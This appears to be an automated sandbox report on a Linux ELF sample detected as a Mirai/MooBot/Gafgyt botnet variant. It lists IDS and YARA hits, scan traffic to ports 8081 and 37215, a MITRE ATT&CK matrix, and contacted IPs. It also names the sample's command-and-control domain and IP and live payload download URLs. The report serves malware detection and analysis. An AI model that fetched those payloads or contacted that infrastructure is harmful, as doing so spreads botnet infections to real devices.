Source: unknown	Network traffic detected: HTTP traffic on port 51138 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36132 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46070 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57572 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33926 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56800 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37942 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52722 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46866 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60054 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40438 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41006 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45352 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38350 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38844 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46572 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53648 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33984 -> 37215

Source: /tmp/faBNhIKHq4.elf (PID: 6220)

Queries kernel information via 'uname':

Jump to behavior

Source: faBNhIKHq4.elf, 6220.1.00007fff65d18000.00007fff65d39000.rw-.sdmp	Binary or memory string: ,x86_64/usr/bin/qemu-arm/tmp/faBNhIKHq4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/faBNhIKHq4.elf
Source: faBNhIKHq4.elf, 6220.1.0000560217974000.0000560217aa2000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: faBNhIKHq4.elf, 6220.1.0000560217974000.0000560217aa2000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: faBNhIKHq4.elf, 6220.1.00007fff65d18000.00007fff65d39000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: faBNhIKHq4.elf, type: SAMPLE
Source: Yara match	File source: 6220.1.00007f4cdc017000.00007f4cdc03b000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: faBNhIKHq4.elf, type: SAMPLE
Source: Yara match	File source: 6220.1.00007f4cdc017000.00007f4cdc03b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: faBNhIKHq4.elf PID: 6220, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: faBNhIKHq4.elf, type: SAMPLE
Source: Yara match	File source: 6220.1.00007f4cdc017000.00007f4cdc03b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: faBNhIKHq4.elf PID: 6220, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response

Yara detected Gafgyt

Source: Yara match	File source: faBNhIKHq4.elf, type: SAMPLE
Source: Yara match	File source: 6220.1.00007f4cdc017000.00007f4cdc03b000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: faBNhIKHq4.elf, type: SAMPLE
Source: Yara match	File source: 6220.1.00007f4cdc017000.00007f4cdc03b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: faBNhIKHq4.elf PID: 6220, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: faBNhIKHq4.elf, type: SAMPLE
Source: Yara match	File source: 6220.1.00007f4cdc017000.00007f4cdc03b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: faBNhIKHq4.elf PID: 6220, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
faBNhIKHq4.elf	56%	Virustotal		Browse
faBNhIKHq4.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
vector.mineheaven.org	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://127.0.0.1:52869/wanipcn.xml	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/picdesc.xml	0%	Avira URL Cloud	safe
http://15.235.203.214/bolonetwork.x86	100%	Avira URL Cloud	malware
http://15.235.203.214/bolonetwork.mips	100%	Avira URL Cloud	malware
http://purenetworks.com/HNAP1/	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/picdesc.xml	1%	Virustotal		Browse
http://127.0.0.1:52869/wanipcn.xml	1%	Virustotal		Browse
http://15.235.203.214/bolonetwork.mips	0%	Virustotal		Browse
http://15.235.203.214/bolonetwork.x86	0%	Virustotal		Browse
http://purenetworks.com/HNAP1/	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
vector.mineheaven.org	15.235.203.214	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:52869/picdesc.xml	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/wanipcn.xml	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	faBNhIKHq4.elf	false	URL Reputation: safe	unknown
http://15.235.203.214/bolonetwork.mips	faBNhIKHq4.elf	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://purenetworks.com/HNAP1/	faBNhIKHq4.elf	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://15.235.203.214/bolonetwork.x86	faBNhIKHq4.elf	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/envelope/	faBNhIKHq4.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
221.235.206.72	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
66.223.211.238	unknown	United States	8047	GCIUS	false
53.64.1.46	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
182.165.110.222	unknown	Japan	17511	OPTAGEOPTAGEIncJP	false
45.248.44.127	unknown	United States	26464	JOYENT-INC-US	false
166.2.82.27	unknown	United States	4152	USDA-1US	false
222.83.6.89	unknown	China	137695	CHINATELECOM-XINJIANG-WULUMUQI-MANCHINATELECOMXinjiangWul	false
58.207.174.192	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
143.204.223.67	unknown	United States	16509	AMAZON-02US	false
88.57.88.129	unknown	Italy	3269	ASN-IBSNAZIT	false
168.121.46.26	unknown	Peru	27843	OPTICALTECHNOLOGIESSACPE	false
133.42.124.102	unknown	Japan	24248	ASN-WADAI-UWakayamaUniversityJP	false
157.182.220.13	unknown	United States	12118	WVUUS	false
62.176.105.185	unknown	Bulgaria	8866	BTC-ASBULGARIABG	false
88.141.51.61	unknown	France	8228	CEGETEL-ASFR	false
95.33.71.177	unknown	Germany	9145	EWETELCloppenburgerStrasse310DE	false
147.251.54.93	unknown	Czech Republic	2852	CESNET2CZ	false
79.80.101.126	unknown	France	15557	LDCOMNETFR	false
136.0.81.193	unknown	United States	18779	EGIHOSTINGUS	false
89.223.76.248	unknown	Russian Federation	49345	CONTINENTAL_GROUP-ASRU	false
196.164.216.211	unknown	South Africa	328065	Vast-Networks-ASZA	false
18.105.120.229	unknown	United States	3	MIT-GATEWAYSUS	false
185.225.252.146	unknown	United Kingdom	31727	NODE4-ASGB	false
163.178.130.161	unknown	Costa Rica	11830	InstitutoCostarricensedeElectricidadyTelecomCR	false
110.164.214.181	unknown	Thailand	45758	TRIPLETNET-AS-APTripleTInternetTripleTBroadbandTH	false
101.208.199.62	unknown	India	58519	CHINATELECOM-CTCLOUDCloudComputingCorporationCN	false
183.198.179.50	unknown	China	24547	CMNET-V4HEBEI-AS-APHebeiMobileCommunicationCompanyLimit	false
208.159.93.33	unknown	United States	11139	CWC-ROC-11139DM	false
182.37.74.31	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
118.98.130.54	unknown	Indonesia	17974	TELKOMNET-AS2-APPTTelekomunikasiIndonesiaID	false
155.191.174.159	unknown	United States	20437	AS20437US	false
155.75.2.112	unknown	United States	4010	DNIC-AS-04010US	false
102.21.121.140	unknown	unknown	37054	Telecom-MalagasyMG	false
106.21.49.247	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
213.249.241.124	unknown	United Kingdom	12390	KINGSTON-UK-ASGB	false
60.181.115.91	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
72.166.124.103	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
166.228.206.28	unknown	United States	6614	USCC-ASNUS	false
104.150.207.168	unknown	United States	1832	SMUUS	false
169.66.107.17	unknown	United States	37611	AfrihostZA	false
138.236.1.11	unknown	United States	17234	GACUS	false
78.87.232.152	unknown	Greece	3329	HOL-GRAthensGreeceGR	false
198.75.127.79	unknown	United States	35350	AS_SCHWARZ_PHARMA_AGAlfred-Nobel-Str10DE	false
180.52.246.181	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
151.115.223.78	unknown	United Kingdom	12876	OnlineSASFR	false
88.120.10.203	unknown	France	12322	PROXADFR	false
105.118.80.86	unknown	Nigeria	36873	VNL1-ASNG	false
69.248.9.25	unknown	United States	7922	COMCAST-7922US	true
87.151.1.53	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
109.105.104.108	unknown	Sweden	2603	NORDUNETNO	false
158.188.7.83	unknown	United States	393938	SSL-ASUS	false
109.106.253.207	unknown	Serbia	199493	NETNET-ASRS	false
41.119.144.171	unknown	South Africa	16637	MTNNS-ASZA	false
112.94.80.12	unknown	China	17622	CNCGROUP-GZChinaUnicomGuangzhounetworkCN	false
82.50.208.202	unknown	Italy	3269	ASN-IBSNAZIT	true
97.178.154.176	unknown	United States	6167	CELLCO-PARTUS	false
92.128.15.29	unknown	France	3215	FranceTelecom-OrangeFR	false
82.235.175.188	unknown	France	12322	PROXADFR	false
82.127.97.23	unknown	France	3215	FranceTelecom-OrangeFR	false
101.118.159.79	unknown	Australia	133612	VODAFONE-AS-APVodafoneAustraliaPtyLtdAU	false
210.159.240.128	unknown	Japan	10013	FBDCFreeBitCoLtdJP	false
198.21.126.176	unknown	United States	6167	CELLCO-PARTUS	false
88.160.132.174	unknown	France	12322	PROXADFR	false
110.17.77.126	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
36.224.35.213	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
95.76.9.54	unknown	Romania	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
154.12.179.185	unknown	United States	55286	SERVER-MANIACA	false
207.243.41.153	unknown	United States	7018	ATT-INTERNET4US	false
141.170.2.175	unknown	United Kingdom	33920	AQLGB	false
202.243.177.47	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
88.189.21.70	unknown	France	12322	PROXADFR	false
24.26.58.210	unknown	United States	10796	TWC-10796-MIDWESTUS	false
199.233.13.46	unknown	United States	54113	FASTLYUS	false
142.183.249.136	unknown	Canada	577	BACOMCA	false
141.89.138.130	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
41.170.8.16	unknown	South Africa	36937	Neotel-ASZA	false
95.115.138.19	unknown	Germany	6805	TDDE-ASN1DE	false
199.97.124.45	unknown	United States	174	COGENT-174US	false
197.105.252.117	unknown	South Africa	37168	CELL-CZA	false
9.125.31.31	unknown	United States	3356	LEVEL3US	false
185.149.136.17	unknown	Luxembourg	2602	RESTENAReseauTeleinformatiquedelEducationNationaleLU	false
209.174.192.179	unknown	United States	6325	ILLINOIS-CENTURYUS	false
191.103.84.77	unknown	Honduras	23383	METROREDSADECVHN	false
212.252.124.210	unknown	Turkey	199333	YKB-ASTR	false
85.158.231.100	unknown	Austria	8692	BRZAT	false
81.244.221.167	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
58.228.164.237	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
96.4.121.112	unknown	United States	11686	ENAUS	false
132.247.83.26	unknown	Mexico	278	UniversidadNacionalAutonomadeMexicoMX	false
197.152.177.247	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
95.236.203.136	unknown	Italy	3269	ASN-IBSNAZIT	false
149.22.214.174	unknown	United States	48945	IFNL-ASGB	false
99.161.69.48	unknown	United States	7018	ATT-INTERNET4US	false
122.226.226.208	unknown	China	136190	CHINATELECOM-ZHEJIANG-JINHUA-IDCJINHUAZHEJIANGProvince	false
49.113.148.253	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
118.125.206.189	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
149.253.222.200	unknown	United States	20473	AS-CHOOPAUS	false
140.79.225.97	unknown	Australia	6262	CSIROCommonwealthScientificandIndustrialAU	false
111.153.205.141	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
121.197.237.77	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
208.159.93.33	TO9JIt5cu4.elf	Get hash	malicious	Unknown	Browse
182.37.74.31	rnQYDw7A4G	Get hash	malicious	Unknown	Browse
182.165.110.222	wRfdZrhg7I.elf	Get hash	malicious	Unknown	Browse
155.191.174.159	5UJyp59w4f.elf	Get hash	malicious	Mirai	Browse
166.2.82.27	1isequal9.arm	Get hash	malicious	Mirai	Browse
157.182.220.13	BtyV8egdsx.elf	Get hash	malicious	Mirai, Moobot	Browse
62.176.105.185	vTJGG33WsQ	Get hash	malicious	Mirai	Browse
62.176.105.185	JAGTPJ9md2	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
vector.mineheaven.org	EKi4eGLprr.elf	Get hash	malicious	Mirai, Okiru	Browse	15.235.203.214
vector.mineheaven.org	http://15.235.203.214/bolonetwork.x86	Get hash	malicious	Unknown	Browse	15.235.203.214

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINANET-BACKBONENo31Jin-rongStreetCN	EKi4eGLprr.elf	Get hash	malicious	Mirai, Okiru	Browse	175.10.89.25
	http://15.235.203.214/bolonetwork.x86	Get hash	malicious	Unknown	Browse	182.96.46.135
	92.249.48.47-skid.ppc-2024-07-20T09_04_20.elf	Get hash	malicious	Mirai, Moobot	Browse	49.88.41.214
	92.249.48.47-skid.arm7-2024-07-20T09_04_19.elf	Get hash	malicious	Mirai, Moobot	Browse	106.84.145.148
	92.249.48.47-skid.arm-2024-07-20T09_04_18.elf	Get hash	malicious	Mirai, Moobot	Browse	220.168.227.139
	92.249.48.47-skid.x86_64-2024-07-20T09_04_18.elf	Get hash	malicious	Mirai, Moobot	Browse	222.92.128.106
	92.249.48.47-skid.x86-2024-07-20T09_04_17.elf	Get hash	malicious	Mirai, Moobot	Browse	115.230.55.193
	92.249.48.47-skid.sh4-2024-07-20T09_04_17.elf	Get hash	malicious	Mirai, Moobot	Browse	106.119.126.235
	92.249.48.47-skid.mpsl-2024-07-20T09_04_17.elf	Get hash	malicious	Mirai, Moobot	Browse	114.102.21.238
	92.249.48.47-skid.mips-2024-07-20T09_04_16.elf	Get hash	malicious	Mirai, Moobot	Browse	182.97.246.41
DAIMLER-ASITIGNGlobalNetworkDE	http://15.235.203.214/bolonetwork.x86	Get hash	malicious	Unknown	Browse	53.50.38.201
	92.249.48.47-skid.ppc-2024-07-20T09_04_20.elf	Get hash	malicious	Mirai, Moobot	Browse	53.198.188.88
	92.249.48.47-skid.x86_64-2024-07-20T09_04_18.elf	Get hash	malicious	Mirai, Moobot	Browse	53.37.211.44
	92.249.48.47-skid.m68k-2024-07-20T09_04_20.elf	Get hash	malicious	Mirai, Moobot	Browse	53.217.0.215
	U8E1VlGTmr.elf	Get hash	malicious	Mirai	Browse	53.47.0.9
	TWzzHuqCOF.elf	Get hash	malicious	Mirai	Browse	53.189.37.193
	Qa5qvgWyUn.elf	Get hash	malicious	Mirai	Browse	53.188.22.87
	8tGqHMzByM.elf	Get hash	malicious	Mirai	Browse	53.88.213.155
	MCiOZ89mRZ.elf	Get hash	malicious	Mirai	Browse	53.59.108.237
	arm.elf	Get hash	malicious	Mirai	Browse	53.229.183.49
GCIUS	3RzVV7rQr8.elf	Get hash	malicious	Mirai	Browse	24.237.169.201
	mips.nn.elf	Get hash	malicious	Mirai	Browse	24.237.122.202
	bWT2t63tyx.elf	Get hash	malicious	Mirai	Browse	69.178.35.15
	UyWmCsMy4T.elf	Get hash	malicious	Mirai	Browse	206.174.112.141
	YIHfMPPeSC.elf	Get hash	malicious	Unknown	Browse	206.175.88.167
	RTuZgpOzBm.elf	Get hash	malicious	Unknown	Browse	69.178.11.11
	98zdN8lGtk.elf	Get hash	malicious	Unknown	Browse	66.58.243.194
	4XAsw9FSr5.elf	Get hash	malicious	Unknown	Browse	206.174.112.133
	jLntRRok3B.elf	Get hash	malicious	Mirai	Browse	206.174.97.50
	SecuriteInfo.com.Linux.Siggen.9999.522.25935.elf	Get hash	malicious	Mirai	Browse	69.178.11.60
OPTAGEOPTAGEIncJP	EKi4eGLprr.elf	Get hash	malicious	Mirai, Okiru	Browse	112.70.224.14
	5Jan3SztHt.elf	Get hash	malicious	Unknown	Browse	150.57.234.61
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	121.85.169.11
	jew.x86.elf	Get hash	malicious	Mirai	Browse	128.27.24.65
	2ta71O8iWY.elf	Get hash	malicious	Mirai	Browse	150.57.158.246
